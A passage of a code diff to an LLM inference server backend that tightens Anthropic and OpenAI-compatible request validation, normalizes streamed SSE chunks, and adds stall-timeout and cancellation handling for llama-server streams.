_only_unknown_types(cls, v): + # Known types parse as their typed models above (so a malformed known block + # still fails cleanly); this fallback only catches the rest. + if v in _KNOWN_ANTHROPIC_BLOCK_TYPES: + raise ValueError("known block type handled by its typed model") + return v + AnthropicContentBlock = Union[ AnthropicTextBlock, AnthropicImageBlock, AnthropicToolUseBlock, AnthropicToolResultBlock, + AnthropicUnknownBlock, ] @@ -1583,6 +1612,40 @@ class AnthropicMessage(BaseModel): role: Literal["user", "assistant"] content: Union[str, list[AnthropicContentBlock]] + @model_validator(mode = "before") + @classmethod + def _normalize_content(cls, data): + # Role-aware leniency that never silently drops real user input: + # - assistant: a resumed tool-only turn's null content -> "" (str|list would + # 400 on null; "" keeps the converter's `for block in content` safe). + # Unknown blocks (thinking / future types) validate via + # AnthropicUnknownBlock and are dropped by the converter. + # - user: keep strict. Null user content stays None so str|list rejects it + # (400) rather than forwarding an empty prompt; and reject block types the + # converter cannot translate, since it silently skips unknown user blocks + # -- a user turn made only of them would validate yet send no content + # (silent data loss). + if not isinstance(data, dict): + return data + content = data.get("content") + if data.get("role") == "assistant": + # Coerce only an explicit null (resumed tool-only turn). A missing + # content key stays malformed so the required-field check still 400s. + if "content" in data and content is None: + return {**data, "content": ""} + return data + if isinstance(content, list): + for block in content: + btype = ( + block.get("type") if isinstance(block, dict) else getattr(block, "type", None) + ) + # Guard the value: a non-string type is unsupported too, and a + # membership test on an unhashable value would raise TypeError + # (escaping as a 500 instead of a clean 400). + if not isinstance(btype, str) or btype not in _KNOWN_ANTHROPIC_BLOCK_TYPES: + raise ValueError(f"unsupported content block type {btype!r} in a user message") + return data + class AnthropicTool(BaseModel): # Client tools have input_schema; server tools may only have type/name. diff --git a/studio/backend/routes/inference.py b/studio/backend/routes/inference.py index 39dcaf733f..a595a8e9eb 100644 --- a/studio/backend/routes/inference.py +++ b/studio/backend/routes/inference.py @@ -13,7 +13,7 @@ from pathlib import Path from fastapi import APIRouter, Depends, HTTPException, Request, status from fastapi.responses import StreamingResponse, JSONResponse, Response from starlette.requests import ClientDisconnect -from typing import Any, List, Optional, Union +from typing import Any, Callable, List, Optional, Union import json import httpx from loggers import get_logger @@ -268,10 +268,87 @@ def _effective_max_tokens(payload): ) +_OPENAI_COMPAT_STREAM_STALL_TIMEOUT_ENV = "UNSLOTH_OPENAI_COMPAT_STREAM_STALL_TIMEOUT" + + +def _positive_float_env(env_name: str, default): + """Parse a positive float from an env var. A parseable non-positive value + returns ``None`` (0 disables the guarded feature); only unparseable or unset + values fall back to ``default``.""" + raw_value = os.environ.get(env_name) + if raw_value is None or not raw_value.strip(): + return default + try: + value = float(raw_value.strip()) + except ValueError: + return default + return value if value > 0 else None + + +def _effective_openai_max_tokens_from_values(max_tokens, max_completion_tokens = None): + """Resolve the OpenAI-compatible generation cap from raw request values. + + Prefers ``max_completion_tokens`` over the deprecated ``max_tokens``, and + returns ``None`` when both are omitted so callers keep their context-window + default (OpenAI treats an omitted cap as bounded only by the context + window). Explicit client caps pass through unchanged. + """ + + def _validate_explicit(value, param: str): + if value is None: + return None + if isinstance(value, bool) or not isinstance(value, int): + raise HTTPException( + status_code = 400, + detail = openai_error_body( + f"'{param}' must be an integer.", + status = 400, + code = "invalid_type", + param = param, + ), + ) + # The legacy completions spec declares ``minimum: 0`` for max_tokens, + # so 0 is a valid (if degenerate) cap and only negatives are rejected. + # The chat fields never reach here with 0 (pydantic enforces ge=1). + if value < 0: + raise HTTPException( + status_code = 400, + detail = openai_error_body( + f"'{param}' must be at least 0.", + status = 400, + code = "invalid_value", + param = param, + ), + ) + return value + + max_tokens = _validate_explicit(max_tokens, "max_tokens") + max_completion_tokens = _validate_explicit(max_completion_tokens, "max_completion_tokens") + return max_completion_tokens if max_completion_tokens is not None else max_tokens + + +def _effective_openai_max_tokens(payload): + return _effective_openai_max_tokens_from_values( + getattr(payload, "max_tokens", None), + getattr(payload, "max_completion_tokens", None), + ) + + def _wants_multiple_choices(payload) -> bool: return (payload.n or 1) > 1 +def _has_openai_tool_history(messages) -> bool: + for message in messages or []: + if isinstance(message, dict): + if message.get("role") == "tool" or message.get("tool_calls"): + return True + continue + if getattr(message, "role", None) == "tool" or getattr(message, "tool_calls", None): + return True + return False + + def _raise_unsupported_openai_parameter(param: str, message: str) -> None: raise HTTPException( status_code = 400, @@ -331,6 +408,14 @@ def _openai_stream_error_chunk(exc) -> dict: return openai_error_body(_friendly_error(exc), status = 500) +def _openai_stream_error_sse(error: dict) -> str: + return f"data: {json.dumps(error)}\n\ndata: [DONE]\n\n" + + +def _openai_stream_error_sse_bytes(error: dict) -> bytes: + return _openai_stream_error_sse(error).encode("utf-8") + + def _openai_passthrough_error(status_code, text) -> "HTTPException": """HTTPException for a non-200 upstream response on the OpenAI passthrough (tools / response_format). An over-context upstream error is mapped to a 400 @@ -545,20 +630,62 @@ def _drop_parallel_tool_call_deltas(chunk) -> bool: return changed -def _cap_parallel_tool_calls_sse_line(raw_line: str) -> str: - """Drop tool_call deltas whose index >= 1 from one streamed OpenAI SSE - ``data:`` line so only the first tool call survives (parallel_tool_calls=false, - best-effort). Non-tool / unparseable payloads are returned byte-for-byte.""" - payload = raw_line[len("data: ") :] +def _add_empty_content_to_reasoning_deltas(chunk: dict) -> bool: + """Make reasoning-only deltas palatable to strict OpenAI adapters. + + Some clients built on OpenAI-compatible streams ignore or reject chunks whose + delta only contains non-standard ``reasoning_content``. Preserve that field, + but add an empty standard ``content`` member so the chunk is still a valid + text-delta shape and downstream parsers keep the stream alive. + """ + changed = False + choices = chunk.get("choices") + if not isinstance(choices, list): + return False + for choice in choices: + if not isinstance(choice, dict): + continue + delta = choice.get("delta") + if not isinstance(delta, dict): + continue + if "reasoning_content" in delta and "content" not in delta: + delta["content"] = "" + changed = True + return changed + + +def _normalize_openai_passthrough_sse_line( + raw_line: str, *, cap_parallel_tool_calls: bool = False +) -> str: + """Normalize one passthrough OpenAI SSE ``data:`` line before relaying. + + The function is intentionally narrow: it leaves comments, blank events, + ``[DONE]``, and unparseable upstream bytes untouched; parsed chunks are + re-serialized only when a compatibility mutation is actually required. + """ + if not raw_line.startswith("data:"): + return raw_line + # Both mutations key off JSON object keys, so a line without either quoted + # key can never change; skip the parse on the per-token common case. + if '"reasoning_content"' not in raw_line and not ( + cap_parallel_tool_calls and '"tool_calls"' in raw_line + ): + return raw_line + payload = raw_line[len("data:") :].lstrip() if payload.strip() in ("", "[DONE]"): return raw_line try: obj = json.loads(payload) except Exception: return raw_line - if not _drop_parallel_tool_call_deltas(obj): + if not isinstance(obj, dict): return raw_line - return "data: " + json.dumps(obj, separators = (",", ":")) + changed = _add_empty_content_to_reasoning_deltas(obj) + if cap_parallel_tool_calls and _drop_parallel_tool_call_deltas(obj): + changed = True + if not changed: + return raw_line + return "data: " + json.dumps(obj, separators = (",", ":"), ensure_ascii = False) def _prompt_tokens_details(upstream): @@ -575,6 +702,49 @@ def _wants_stream_usage(payload) -> bool: return bool((payload.stream_options or {}).get("include_usage")) +_OPENAI_PASSTHROUGH_TERMINAL_GRACE_S = 2.0 +_SSE_DONE_LINE = "data: [DONE]" + + +def _openai_passthrough_sse_line_terminal_state(raw_line: str) -> Optional[str]: + """Classify OpenAI-compatible chat stream terminal markers. + + Some llama-server builds can emit the logical final chunk (``finish_reason``) + and optional usage chunk, then keep the HTTP stream open without sending the + OpenAI ``data: [DONE]`` sentinel. Classifying those chunks lets Studio close + the client stream promptly while preserving an optional trailing usage chunk. + """ + if not raw_line.startswith("data:"): + return None + data_str = raw_line[5:].lstrip() + if data_str == "[DONE]": + return "done" + try: + data = json.loads(data_str) + except json.JSONDecodeError: + return None + return _openai_passthrough_terminal_state_from_data(data) + + +def _openai_passthrough_terminal_state_from_data(data) -> Optional[str]: + """Dict-level core of ``_openai_passthrough_sse_line_terminal_state`` for + callers that already parsed the chunk (avoids a re-parse per relayed line).""" + if not isinstance(data, dict): + return None + if _monitor_openai_error_message(data): + return "error" + choices = data.get("choices") + if isinstance(choices, list): + if not choices and isinstance(data.get("usage"), dict): + return "usage" + for choice in choices: + if isinstance(choice, dict) and choice.get("finish_reason") is not None: + return "finish" + elif isinstance(data.get("usage"), dict): + return "usage" + return None + + def _openai_stream_usage_chunk( payload, completion_id, created, model_name, stream_usage, stream_timings ): @@ -641,12 +811,16 @@ def _chat_content_chunk(completion_id, created, model_name, text) -> str: def _chat_reasoning_chunk(completion_id, created, model_name, text) -> str: - """Like ``_chat_content_chunk`` but on ``reasoning_content`` (renders the UI thinking block).""" + """Like ``_chat_content_chunk`` but on ``reasoning_content`` (renders the UI thinking block). + + Carries ``content: ""`` alongside, like the GGUF and passthrough paths, so + strict OpenAI adapters don't drop the reasoning-only delta. + """ return _chat_chunk_sse( completion_id, created, model_name, - delta = ChoiceDelta(reasoning_content = text), + delta = ChoiceDelta(content = "", reasoning_content = text), finish_reason = None, ) @@ -881,8 +1055,11 @@ def _llama_streaming_generation_timeout() -> httpx.Timeout: def _set_stream_response_read_timeout( - response: httpx.Response, read_timeout_s: float = _DEFAULT_STREAM_STALL_TIMEOUT_S + response: httpx.Response, read_timeout_s: Optional[float] = _DEFAULT_STREAM_STALL_TIMEOUT_S ) -> None: + # ``read_timeout_s = None`` clears httpx's read timeout (wait indefinitely), + # used when the stall guard is disabled so a stale first-token deadline + # can't keep timing out post-first-chunk gaps. try: timeout_ext = response.request.extensions.get("timeout") if isinstance(timeout_ext, dict): @@ -893,6 +1070,31 @@ def _set_stream_response_read_timeout( _STREAM_DISCONNECT_POLL_TIMEOUT_S = 0.25 _OPENAI_PASSTHROUGH_PREHEADER_STATUS_WINDOW_S = 0.1 +_OPENAI_PASSTHROUGH_PENDING_RESPONSE_KEEPALIVE_S = 5.0 +_OPENAI_PASSTHROUGH_SSE_KEEPALIVE = ": keep-alive\n\n" + + +def _openai_compat_stream_stall_timeout(): + """Max silent gap after an OpenAI passthrough stream has produced data. + + If the socket goes silent after valid SSE data, this bounds how long the + client is kept open. Defaults to the backend-wide stall timeout so this + path stalls out like every sibling stream; set the env var to tighten it + for local serving, or to 0 to disable the guard. + """ + return _positive_float_env( + _OPENAI_COMPAT_STREAM_STALL_TIMEOUT_ENV, + _DEFAULT_STREAM_STALL_TIMEOUT_S, + ) + + +def _openai_passthrough_upstream_headers(*, llama_backend = None) -> dict: + headers = {} + auth_headers = getattr(llama_backend, "_auth_headers", None) + if isinstance(auth_headers, dict): + headers.update(auth_headers) + headers["Connection"] = "close" + return headers class _CompatSameTaskTimeout: @@ -1020,7 +1222,8 @@ async def _aclose_stream_resources( """Tear down an httpx streaming generator's resources in the required order: cancel + await each watcher task, then aclose() the byte/line iterator, the response, and the client. Each step swallows its own exceptions so teardown - always completes. See _anthropic_passthrough_stream for the ordering rationale.""" + always completes; a close-time CancelledError is re-raised only after every + step has run. See _anthropic_passthrough_stream for the ordering rationale.""" for watcher in watchers: if watcher is not None: watcher.cancel() @@ -1028,21 +1231,30 @@ async def _aclose_stream_resources( await watcher except (asyncio.CancelledError, Exception): pass + close_cancelled = False if iterator is not None: try: await iterator.aclose() + except asyncio.CancelledError: + close_cancelled = True except Exception: pass if resp is not None: try: await resp.aclose() + except asyncio.CancelledError: + close_cancelled = True except Exception: pass if client is not None: try: await client.aclose() + except asyncio.CancelledError: + close_cancelled = True except Exception: pass + if close_cancelled: + raise asyncio.CancelledError() async def _preheader_cancelled(cancel_event = None, request: Optional[Request] = None) -> bool: @@ -1065,6 +1277,7 @@ async def _send_stream_with_preheader_cancel( req: httpx.Request, cancel_event = None, request: Optional[Request] = None, + mark_cancel_on_cancel: bool = True, ) -> Optional[httpx.Response]: if cancel_event is None and request is None: return await client.send(req, stream = True) @@ -1096,7 +1309,7 @@ async def _send_stream_with_preheader_cancel( await _stop_send_task() return None except asyncio.CancelledError: - if cancel_event is not None: + if mark_cancel_on_cancel and cancel_event is not None: cancel_event.set() await _stop_send_task() raise @@ -1115,11 +1328,19 @@ async def _aiter_llama_stream_items( request: Optional[Request] = None, first_token_deadline: Optional[float] = None, response: Optional[httpx.Response] = None, - post_first_item_read_timeout_s: Optional[float] = _DEFAULT_STREAM_STALL_TIMEOUT_S, + post_first_item_read_timeout_s: Optional[ + Union[float, Callable[[], Optional[float]]] + ] = _DEFAULT_STREAM_STALL_TIMEOUT_S, ): if first_token_deadline is None: first_token_deadline = time.monotonic() + _DEFAULT_FIRST_TOKEN_TIMEOUT_S last_item_at: Optional[float] = None + + def _post_first_timeout_s() -> Optional[float]: + if callable(post_first_item_read_timeout_s): + return post_first_item_read_timeout_s() + return post_first_item_read_timeout_s + while True: if cancel_event is not None and cancel_event.is_set(): return @@ -1140,15 +1361,14 @@ async def _aiter_llama_stream_items( async with _same_task_timeout(remaining_s): item = await async_iter.__anext__() else: + timeout_s = _post_first_timeout_s() if ( request is not None and response is not None - and post_first_item_read_timeout_s is not None + and timeout_s is not None and last_item_at is not None ): - stall_remaining_s = post_first_item_read_timeout_s - ( - time.monotonic() - last_item_at - ) + stall_remaining_s = timeout_s - (time.monotonic() - last_item_at) if stall_remaining_s <= 0: raise httpx.ReadTimeout("The model stopped producing tokens mid-response.") _set_stream_response_read_timeout(response, stall_remaining_s) @@ -1165,19 +1385,16 @@ async def _aiter_llama_stream_items( if now >= first_token_deadline: raise continue - if ( - request is not None - and post_first_item_read_timeout_s is not None - and now - last_item_at < post_first_item_read_timeout_s - ): + timeout_s = _post_first_timeout_s() + if request is not None and timeout_s is not None and now - last_item_at < timeout_s: continue raise httpx.ReadTimeout("The model stopped producing tokens mid-response.") - if ( - last_item_at is None - and response is not None - and post_first_item_read_timeout_s is not None - ): - _set_stream_response_read_timeout(response, post_first_item_read_timeout_s) + if last_item_at is None and response is not None: + # The first-token read deadline no longer applies once a chunk has + # arrived: switch to the stall timeout, or clear the read timeout + # entirely when the stall guard is disabled (callable returns None) + # so a long gap can't trip the stale first-token deadline. + _set_stream_response_read_timeout(response, _post_first_timeout_s()) last_item_at = time.monotonic() yield item @@ -1568,6 +1785,20 @@ def _effective_enable_tools(payload) -> Optional[bool]: return policy if policy is not None else payload.enable_tools +def _explicit_studio_tool_loop_requested(payload) -> bool: + """True when the request itself asks Studio to execute local tools. + + Process-wide CLI policy can default Studio's tool loop on for ordinary chat, + but it must not steal OpenAI-compatible client tools or response_format + requests from the llama-server passthrough path. A policy of ``False`` + (--disable-tools) vetoes even an explicit ``enable_tools: true`` ask. + """ + from state.tool_policy import get_tool_policy + + policy = get_tool_policy() + return policy is not False and (payload.enable_tools is True or bool(payload.mcp_enabled)) + + # Cancel registry. Proxies (e.g. Colab) can swallow client fetch aborts so # is_disconnected() never fires. POST /inference/cancel looks up in-flight # cancel_events here by cancel_id (per-run) or session_id / completion_id @@ -1708,6 +1939,39 @@ async def _await_disconnect_then_cancel(request, cancel_event) -> None: return +def _cancelable_nonstreaming_client() -> httpx.AsyncClient: + return httpx.AsyncClient( + limits = httpx.Limits(max_connections = 1, max_keepalive_connections = 0), + trust_env = False, + ) + + +async def _await_cancel_or_disconnect_then_close_client( + *, cancel_event, request: Optional[Request], client: httpx.AsyncClient +) -> None: + """Close a dedicated non-streaming upstream client on cancel/disconnect. + + The shared ``nonstreaming_client()`` is pooled, so cancelable generation calls + use a per-request client. Closing it interrupts a blocked llama-server + request without affecting unrelated pooled non-streaming calls. + """ + try: + while True: + if cancel_event is not None and cancel_event.is_set(): + break + if request is not None and await request.is_disconnected(): + if cancel_event is not None: + cancel_event.set() + break + await asyncio.sleep(0.1) + try: + await client.aclose() + except Exception: + pass + except asyncio.CancelledError: + return + + async def _stop_local_disconnect_cancel_watcher(watcher) -> None: watcher.cancel() try: @@ -3087,10 +3351,14 @@ def _remote_gguf_companion_bytes( info = model_info(repo, token = hf_token, files_metadata = True) total = 0 for sibling in info.siblings or []: - base = Path(sibling.rfilename or "").name.lower() + name = sibling.rfilename or "" + base = Path(name).name.lower() if not base.endswith(".gguf"): continue - if base.startswith("mtp-") or (include_mmproj and "mmproj" in base): + # Root-level mtp- only: -hf auto-fetches the repo-root drafter, not + # the MTP/ subdir copies (which now share the mtp- prefix too). + is_root_mtp = "/" not in name and base.startswith("mtp-") + if is_root_mtp or (include_mmproj and "mmproj" in base): total += getattr(sibling, "size", 0) or 0 return total except Exception as e: @@ -6135,11 +6403,11 @@ async def openai_chat_completions( # unaware of `role="tool"` messages and assistant messages that only # carry `tool_calls` (content=None) — both of which are valid in # multi-turn client-side tool loops. - effective_max_tokens = _effective_max_tokens(payload) + effective_max_tokens = _effective_openai_max_tokens(payload) normalized_stop = _normalize_stop_sequences(payload.stop) - _has_tool_messages = any(m.role == "tool" or m.tool_calls for m in payload.messages) + _has_tool_messages = _has_openai_tool_history(payload.messages) # Route guided-decoding requests through the verbatim passthrough so # ``response_format`` (JSON schema) reaches llama-server and the model's # GBNF-constrained output comes back unmodified. The non-passthrough GGUF @@ -6148,13 +6416,43 @@ async def openai_chat_completions( # free-form sampling. Guided decoding does not require ``supports_tools`` -- # the grammar machinery is independent of tool-call parsing. _has_response_format = _extract_response_format(payload) is not None - _tools_passthrough = getattr( + _has_tool_catalog = bool(payload.tools and len(payload.tools) > 0) + _has_active_tool_catalog = _has_tool_catalog and payload.tool_choice != "none" + _has_client_tool_contract = _has_active_tool_catalog or _has_tool_messages + # The Studio tool loop needs a tool-capable backend, so a request that asks + # for it on a backend that can't run it (DiffusionGemma forces supports_tools + # off) must not steal client tools from the passthrough (#6851). + _studio_tool_loop_requested = ( + _explicit_studio_tool_loop_requested(payload) and llama_backend.supports_tools + ) + _client_disabled_tool_calls = payload.tool_choice == "none" and not _studio_tool_loop_requested + _supports_tool_passthrough = getattr( llama_backend, "supports_tool_passthrough", llama_backend.supports_tools - ) and ((payload.tools and len(payload.tools) > 0) or _has_tool_messages) - # DiffusionGemma keeps supports_tools off, so the server-side tool loop can't - # claim the request; fall through to client passthrough, matching /v1/messages. - _server_tool_loop = _effective_enable_tools(payload) and llama_backend.supports_tools - if using_gguf and not _server_tool_loop and (_tools_passthrough or _has_response_format): + ) + _tools_passthrough = _supports_tool_passthrough and _has_client_tool_contract + if ( + using_gguf + and not _studio_tool_loop_requested + and _has_client_tool_contract + and not _supports_tool_passthrough + ): + raise _reject( + 400, + openai_error_body( + ( + "Client-supplied tools or tool-call history require a GGUF chat template " + "with tool-call support; the current model/template does not advertise tools." + ), + status = 400, + code = "unsupported_parameter", + param = "tools" if payload.tools else "messages", + ), + ) + if ( + using_gguf + and not _studio_tool_loop_requested + and (_tools_passthrough or _has_response_format) + ): if _wants_multiple_choices(payload): raise _reject_unsupported_n("GGUF tool or response_format passthrough") if payload.audio_base64: @@ -6198,12 +6496,20 @@ async def openai_chat_completions( completion_id, monitor_id = monitor_id, ) - return await _openai_passthrough_non_streaming( - llama_backend, - payload, - model_name, - monitor_id = monitor_id, - ) + _cancel_keys = (payload.cancel_id, payload.session_id, completion_id) + _tracker = _TrackedCancel(cancel_event, *_cancel_keys) + _tracker.__enter__() + try: + return await _openai_passthrough_non_streaming( + llama_backend, + payload, + model_name, + monitor_id = monitor_id, + request = request, + cancel_event = cancel_event, + ) + finally: + _tracker.__exit__(None, None, None) # ── Parse messages (handles multimodal content parts) ───── # Reuse the pre-hook parse when auto-switch did it, else parse now. @@ -6263,6 +6569,8 @@ async def openai_chat_completions( ) def _gguf_chat_delta_line(delta: ChoiceDelta, finish_reason = None) -> str: + if delta.reasoning_content is not None and delta.content is None: + delta = delta.model_copy(update = {"content": ""}) chunk = ChatCompletionChunk( id = completion_id, created = created, @@ -6286,8 +6594,12 @@ async def openai_chat_completions( from state.tool_policy import get_tool_policy as _get_tool_policy_g _cli_policy = _get_tool_policy_g() - _tools_on = _effective_enable_tools(payload) - _mcp_allowed = bool(payload.mcp_enabled) and _cli_policy is not False + _tools_on = False if _client_disabled_tool_calls else _effective_enable_tools(payload) + _mcp_allowed = ( + not _client_disabled_tool_calls + and bool(payload.mcp_enabled) + and _cli_policy is not False + ) use_tools = (_tools_on or _mcp_allowed) and llama_backend.supports_tools if use_tools: @@ -6542,7 +6854,7 @@ async def openai_chat_completions( # Recover if an MTP+tensor crash killed the server mid-stream. get_llama_cpp_backend()._maybe_recover_from_mtp_crash(e) error_chunk = _openai_stream_error_chunk(e) - yield f"data: {json.dumps(error_chunk)}\n\n" + yield _openai_stream_error_sse(error_chunk) finally: await _stop_local_disconnect_cancel_watcher(disconnect_watcher) if gen is not None: @@ -6709,6 +7021,9 @@ async def openai_chat_completions( disconnect_watcher = asyncio.create_task( _await_disconnect_then_cancel(request, cancel_event) ) + gen = None + next_task = None + stream_completed = False try: yield _chat_role_chunk(completion_id, created, model_name) @@ -6727,7 +7042,14 @@ async def openai_chat_completions( cancel_event.set() api_monitor.finish(monitor_id, "cancelled") return - cumulative = await asyncio.to_thread(next, gen, _gguf_sentinel) + next_task = asyncio.create_task( + asyncio.to_thread(next, gen, _gguf_sentinel) + ) + try: + cumulative = await asyncio.shield(next_task) + finally: + if next_task.done(): + next_task = None if cumulative is _gguf_sentinel: break # Capture server metadata for the final usage chunk @@ -6796,6 +7118,7 @@ async def openai_chat_completions( api_monitor.finish( monitor_id, "cancelled" if cancel_event.is_set() else "completed" ) + stream_completed = True yield "data: [DONE]\n\n" except asyncio.CancelledError: @@ -6806,10 +7129,39 @@ async def openai_chat_completions( logger.error(f"Error during GGUF streaming: {e}", exc_info = True) api_monitor.fail(monitor_id, _friendly_error(e)) error_chunk = _openai_stream_error_chunk(e) - yield f"data: {json.dumps(error_chunk)}\n\n" + yield _openai_stream_error_sse(error_chunk) finally: - await _stop_local_disconnect_cancel_watcher(disconnect_watcher) - _tracker.__exit__(None, None, None) + try: + if not stream_completed: + cancel_event.set() + task_to_drain = next_task + next_task = None + while task_to_drain is not None and not task_to_drain.done(): + try: + await asyncio.shield(task_to_drain) + except asyncio.CancelledError: + cancel_event.set() + continue + except Exception: + break + if task_to_drain is not None and task_to_drain.done(): + try: + task_to_drain.exception() + except (asyncio.CancelledError, Exception): + pass + if gen is not None and not stream_completed: + try: + await asyncio.to_thread(gen.close) + except (RuntimeError, ValueError): + pass + except Exception: + logger.debug( + "Error closing GGUF stream generator during cleanup", + exc_info = True, + ) + await _stop_local_disconnect_cancel_watcher(disconnect_watcher) + finally: + _tracker.__exit__(None, None, None) return _SameTaskStreamingResponse( gguf_stream_chunks(), @@ -6825,54 +7177,91 @@ async def openai_chat_completions( try: # ``n`` requests several independent completions; the single # decode slot yields one at a time, so loop sequentially. - _n = payload.n or 1 + drain_task = None - _choices = [] - _monitor_replies = [] - _prompt_tokens = 0 - _sum_completion = 0 - _prompt_details = None - for _idx in range(_n): - # Stop spawning the remaining choices once cancelled. - if cancel_event.is_set(): - break - full_text = "" - completion_usage = None - completion_finish = None - for token in gguf_generate(_idx): - if isinstance(token, dict): - if token.get("type") == "metadata": - completion_usage = token.get("usage") - completion_finish = token.get("finish_reason") + async def _drain_cancelled_gguf_task(): + if drain_task is None: + return + while not drain_task.done(): + try: + await asyncio.shield(drain_task) + except asyncio.CancelledError: + cancel_event.set() continue - full_text = token + except Exception: + break + if drain_task.done(): + try: + drain_task.exception() + except (asyncio.CancelledError, Exception): + pass - reasoning_text, visible_text = _extract_responses_reasoning( - full_text, - parse_think_markers = _responses_should_parse_think_markers( - payload, - llama_backend, - ), - ) - message_kwargs = {"content": visible_text} - if reasoning_text: - message_kwargs["reasoning_content"] = reasoning_text - _choices.append( - CompletionChoice( - index = _idx, - message = CompletionMessage(**message_kwargs), - finish_reason = _clamp_finish_reason(completion_finish), + def _drain_gguf_choices(): + _n = payload.n or 1 + _choices = [] + _monitor_replies = [] + _prompt_tokens = 0 + _sum_completion = 0 + _prompt_details = None + for _idx in range(_n): + # Stop spawning the remaining choices once cancelled. + if cancel_event.is_set(): + break + full_text = "" + completion_usage = None + completion_finish = None + for token in gguf_generate(_idx): + if isinstance(token, dict): + if token.get("type") == "metadata": + completion_usage = token.get("usage") + completion_finish = token.get("finish_reason") + continue + full_text = token + + reasoning_text, visible_text = _extract_responses_reasoning( + full_text, + parse_think_markers = _responses_should_parse_think_markers( + payload, + llama_backend, + ), ) + message_kwargs = {"content": visible_text} + if reasoning_text: + message_kwargs["reasoning_content"] = reasoning_text + _choices.append( + CompletionChoice( + index = _idx, + message = CompletionMessage(**message_kwargs), + finish_reason = _clamp_finish_reason(completion_finish), + ) + ) + _monitor_replies.append(visible_text) + if completion_usage: + # The prompt is shared across all n choices, so count its + # tokens ONCE (OpenAI bills only generated tokens for each + # extra choice). Only completion_tokens accumulates. + _prompt_tokens = completion_usage.get("prompt_tokens") or _prompt_tokens + _sum_completion += completion_usage.get("completion_tokens") or 0 + if _prompt_details is None: + _prompt_details = completion_usage.get("prompt_tokens_details") + return ( + _n, + _choices, + _monitor_replies, + _prompt_tokens, + _sum_completion, + _prompt_details, ) - _monitor_replies.append(visible_text) - if completion_usage: - # The prompt is shared across all n choices, so count its - # tokens ONCE (OpenAI bills only generated tokens for each - # extra choice). Only completion_tokens accumulates. - _prompt_tokens = completion_usage.get("prompt_tokens") or _prompt_tokens - _sum_completion += completion_usage.get("completion_tokens") or 0 - if _prompt_details is None: - _prompt_details = completion_usage.get("prompt_tokens_details") + + drain_task = asyncio.create_task(asyncio.to_thread(_drain_gguf_choices)) + ( + _n, + _choices, + _monitor_replies, + _prompt_tokens, + _sum_completion, + _prompt_details, + ) = await asyncio.shield(drain_task) response = ChatCompletion( id = completion_id, @@ -6904,6 +7293,11 @@ async def openai_chat_completions( api_monitor.finish(monitor_id) return _model_json_response(response) + except asyncio.CancelledError: + cancel_event.set() + await _drain_cancelled_gguf_task() + api_monitor.finish(monitor_id, "cancelled") + raise except Exception as e: logger.error(f"Error during GGUF completion: {e}", exc_info = True) api_monitor.fail(monitor_id, _friendly_error(e)) @@ -6923,7 +7317,6 @@ async def openai_chat_completions( ), ) raise HTTPException(status_code = 500, detail = safe_error_detail(e)) - # ── Standard Unsloth path ───────────────────────────────── # Decode image (from content parts OR legacy field) @@ -7243,7 +7636,7 @@ async def openai_chat_completions( "type": "server_error", }, } - yield f"data: {json.dumps(error_chunk)}\n\n" + yield _openai_stream_error_sse(error_chunk) finally: await _stop_local_disconnect_cancel_watcher(disconnect_watcher) if gen is not None: @@ -7588,7 +7981,7 @@ async def openai_chat_completions( "type": "server_error", }, } - yield f"data: {json.dumps(error_chunk)}\n\n" + yield _openai_stream_error_sse(error_chunk) finally: await _stop_local_disconnect_cancel_watcher(disconnect_watcher) _tracker.__exit__(None, None, None) @@ -8086,8 +8479,12 @@ async def openai_completions(request: Request, current_subject: str = Depends(ge if not isinstance(body, dict): raise HTTPException(status_code = 400, detail = "Request body must be a JSON object") - if body.get("max_tokens") is None: - body["max_tokens"] = llama_backend.context_length or _DEFAULT_MAX_TOKENS_FLOOR + _resolved_max_tokens = _effective_openai_max_tokens_from_values(body.get("max_tokens")) + body["max_tokens"] = ( + _resolved_max_tokens + if _resolved_max_tokens is not None + else (llama_backend.context_length or _DEFAULT_MAX_TOKENS_FLOOR) + ) target_url = f"{llama_backend.base_url}/v1/completions" is_stream = body.get("stream", False) prompt_text = _flatten_monitor_prompt(body.get("prompt", "")) @@ -8180,7 +8577,7 @@ async def openai_completions(request: Request, current_subject: str = Depends(ge logger.error("openai_completions stream error: %s", e) api_monitor.fail(monitor_id, _friendly_error(e)) error_chunk = _openai_stream_error_chunk(e) - yield f"data: {json.dumps(error_chunk)}\n\n".encode("utf-8") + yield _openai_stream_error_sse_bytes(error_chunk) return api_monitor.finish(monitor_id, "cancelled") return @@ -8195,7 +8592,7 @@ async def openai_completions(request: Request, current_subject: str = Depends(ge logger.error("openai_completions stream error: %s", e) api_monitor.fail(monitor_id, _friendly_error(e)) error_chunk = _openai_stream_error_chunk(e) - yield f"data: {json.dumps(error_chunk)}\n\n".encode("utf-8") + yield _openai_stream_error_sse_bytes(error_chunk) return finally: await _aclose_stream_resources( @@ -10137,8 +10534,11 @@ async def anthropic_count_tokens( # Apply the same sanitization /messages does before generation, so the count # matches the prompt the real request would build (otherwise empty-assistant # sentinels / synthetic tool history inflate the count or hit the fallback). - openai_messages = _strip_provider_synthetic_tool_history( - _drop_empty_assistant_sentinels(openai_messages) + # Coalesce adjacent user turns left behind by dropping an empty / null assistant + # turn, so a strict GGUF chat template does not 400 on non-alternating roles + # (mirrors the GGUF chat path); a no-op for already-alternating histories. + openai_messages = _coalesce_consecutive_user_turns( + _strip_provider_synthetic_tool_history(_drop_empty_assistant_sentinels(openai_messages)) ) openai_tools = anthropic_tools_to_openai(payload.tools or []) or None @@ -10266,8 +10666,11 @@ async def anthropic_messages( # builders apply the same strip; without it an Anthropic /v1/messages caller # replaying a prior provider-side tool_use forwards fake builtin tool # history to a backend with no matching function declarations. - openai_messages = _strip_provider_synthetic_tool_history( - _drop_empty_assistant_sentinels(openai_messages) + # Coalesce adjacent user turns left behind by dropping an empty / null assistant + # turn, so a strict GGUF chat template does not 400 on non-alternating roles + # (mirrors the GGUF chat path); a no-op for already-alternating histories. + openai_messages = _coalesce_consecutive_user_turns( + _strip_provider_synthetic_tool_history(_drop_empty_assistant_sentinels(openai_messages)) ) # Enforce vision guard + re-encode embedded images to PNG so the Anthropic @@ -10936,13 +11339,15 @@ def _build_passthrough_payload( ): body = { "messages": openai_messages, - "tools": openai_tools, - "tool_choice": tool_choice, "temperature": temperature, "top_p": top_p, "top_k": top_k, "stream": stream, } + if openai_tools: + body["tools"] = openai_tools + if tool_choice is not None: + body["tool_choice"] = tool_choice if seed is not None: body["seed"] = seed if stream and stream_options is not None: @@ -11149,13 +11554,17 @@ async def _anthropic_passthrough_stream( yield event return finally: - await _aclose_stream_resources( - watchers = (cancel_watcher, disconnect_watcher), - iterator = 